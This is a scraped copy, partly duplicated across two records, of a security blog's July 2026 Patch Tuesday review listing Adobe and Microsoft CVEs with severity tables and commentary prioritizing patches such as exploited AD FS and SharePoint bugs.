Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:31.829094Z"}, {"uuid": "8849484f-1509-453c-86ab-4f2364eafa82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  